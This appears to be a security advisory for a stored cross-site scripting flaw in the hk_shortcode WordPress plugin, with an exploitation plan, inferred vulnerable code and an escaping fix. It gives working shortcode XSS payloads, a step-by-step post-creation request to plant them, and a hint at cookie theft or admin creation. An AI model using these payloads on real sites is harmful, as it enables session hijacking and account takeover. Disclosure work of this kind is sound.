hk_shortcode <= 1.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'title' Shortcode Attribute
Description
The hk_shortcode plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'title-plane' shortcode in versions up to, and including, 1.0. This is due to insufficient input sanitization and output escaping on user-supplied shortcode attributes in the huankong_post_short_title_plane() function, where the 'title' attribute is concatenated directly into HTML output without any escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
# Exploitation Research Plan: CVE-2026-8886 ## 1. Vulnerability Summary The **hk_shortcode** plugin (version <= 1.0) is vulnerable to **Authenticated (Contributor+) Stored Cross-Site Scripting (XSS)**. The vulnerability exists within the `huankong_post_short_title_plane()` function, which handles t…
Show full research plan
Exploitation Research Plan: CVE-2026-8886
1. Vulnerability Summary
The hk_shortcode plugin (version <= 1.0) is vulnerable to Authenticated (Contributor+) Stored Cross-Site Scripting (XSS). The vulnerability exists within the huankong_post_short_title_plane() function, which handles the [title-plane] shortcode. The title attribute of this shortcode is concatenated directly into the HTML output without being processed by sanitization functions (like sanitize_text_field()) or escaping functions (like esc_html() or esc_attr()). This allows a user with the ability to create posts (Contributor and above) to inject malicious JavaScript that will execute in the browser context of any user viewing the page.
2. Attack Vector Analysis
- Vulnerable Shortcode:
[title-plane](inferred from function name) - Vulnerable Parameter:
titleattribute - Authentication Level: Authenticated (Contributor+)
- Preconditions: The attacker must have permissions to use shortcodes (standard for the Contributor role in WordPress).
- Payload Storage: The payload is stored within the
post_contentof a WordPress post or page. - Execution Trigger: The payload executes whenever the injected post/page is rendered on the frontend or previewed in the admin dashboard.
3. Code Flow
- Registration: The plugin registers the shortcode (likely in the main plugin file) using
add_shortcode( 'title-plane', 'huankong_post_short_title_plane' );(inferred). - Processing: When WordPress parses a post containing the shortcode, it calls the
huankong_post_short_title_plane($atts)callback. - Attribute Extraction: The function extracts the
titleattribute from the$attsarray, likely usingshortcode_atts(). - Vulnerable Sink: The code performs a direct concatenation:
// Inferred logic based on vulnerability description function huankong_post_short_title_plane( $atts ) { $atts = shortcode_atts( array( 'title' => '' ), $atts ); // The title is returned/echoed without escaping return '<div class="some-class">' . $atts['title'] . '</div>'; } - Rendering: The unsanitized HTML is included in the final page content sent to the user's browser.
4. Nonce Acquisition Strategy
This vulnerability is exploited by creating or updating a post. This requires a standard WordPress post-editor nonce (_wpnonce), not a plugin-specific AJAX nonce.
- Navigate to New Post Page: Use
browser_navigateto go to/wp-admin/post-new.php. - Extract Nonce: Use
browser_evalto extract the_wpnoncefrom the form.// Extraction via JavaScript in the browser context document.querySelector('#_wpnonce').value; - Alternative: The nonce can also be found in the
wp-admin/post-new.phpsource code inside thewp-inputsorpostform.
5. Exploitation Strategy
The goal is to create a post containing the malicious shortcode as a Contributor and then verify that the payload executes.
Step 1: Authenticate as Contributor
Login to the WordPress instance using Contributor credentials.
Step 2: Create a Post with Payload
Use the http_request tool to send a POST request to /wp-admin/post.php.
- URL:
http://<target>/wp-admin/post.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Body Parameters:
action:editpostpost_ID:<ID_FROM_POST_NEW_PHP>_wpnonce:<EXTRACTED_NONCE>post_title:XSS Testcontent:[title-plane title='<script>alert(document.domain)</script>']post_status:publish(Note: Contributors may only be able to set this topending; if so, use the Preview link).
Step 3: Trigger the XSS
Navigate to the URL of the newly created post (or the preview URL provided in the response).
6. Test Data Setup
- User Creation:
wp user create attacker attacker@example.com --role=contributor --user_pass=password - Plugin Activation: Ensure
hk-shortcodeis active. - Identify Target: Use
wp post create --post_type=post --post_status=draft --post_author=$(wp user get attacker --field=ID)to get a validpost_IDfor the attacker to edit.
7. Expected Results
- The
http_requestshould return a302redirect to the post edit page or the post frontend. - Upon navigating to the post URL, a JavaScript alert box displaying the
document.domainshould appear. - The HTML source of the page should contain:
<div class="..."><script>alert(document.domain)</script></div>.
8. Verification Steps
- Verify Storage via WP-CLI:
Confirm thewp post get <POST_ID> --field=post_content[title-plane]shortcode is present with the payload. - Verify Rendering via HTTP:
Usehttp_requestto fetch the post frontend and grep for the raw script tag.# Look for the unescaped script tag in the output grep "<script>alert(document.domain)</script>"
9. Alternative Approaches
- Attribute Breakout: If the
titleis placed inside an attribute (e.g.,<div title="[title]">), use a breakout payload:[title-plane title='"><script>alert(1)</script>'] - Event Handlers: If
<script>tags are filtered by a WAF or basic security check, use event handlers:[title-plane title='<img src=x onerror=alert(1)>'] - Admin Context: To demonstrate higher impact, use a payload that exfiltrates cookies or creates a new admin user when viewed by a logged-in Administrator.
Summary
The hk_shortcode plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'title' attribute of the [title-plane] shortcode in versions up to 1.0. This occurs because user-supplied input is concatenated directly into the HTML output without being sanitized or escaped, allowing authenticated contributors to inject arbitrary scripts.
Vulnerable Code
// File: hk-shortcode.php (inferred function name and logic) function huankong_post_short_title_plane( $atts ) { $atts = shortcode_atts( array( 'title' => '', ), $atts ); return '<div class="hk-shortcode-title-plane">' . $atts['title'] . '</div>'; }
Security Fix
@@ -1,6 +1,6 @@ function huankong_post_short_title_plane( $atts ) { $atts = shortcode_atts( array( 'title' => '', ), $atts ); - return '<div class="hk-shortcode-title-plane">' . $atts['title'] . '</div>'; + return '<div class="hk-shortcode-title-plane">' . esc_html( $atts['title'] ) . '</div>'; }
Exploit Outline
To exploit this vulnerability, an attacker with Contributor-level access or higher must create or edit a WordPress post. Within the post editor, the attacker inserts the [title-plane] shortcode and sets the 'title' attribute to contain a malicious script tag, such as: [title-plane title='<script>alert(document.cookie)</script>']. Once the post is saved or submitted for review, the payload is stored in the database. When any user (including site administrators) views the published post or previews the content, the browser executes the unescaped script in the context of the user's session.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.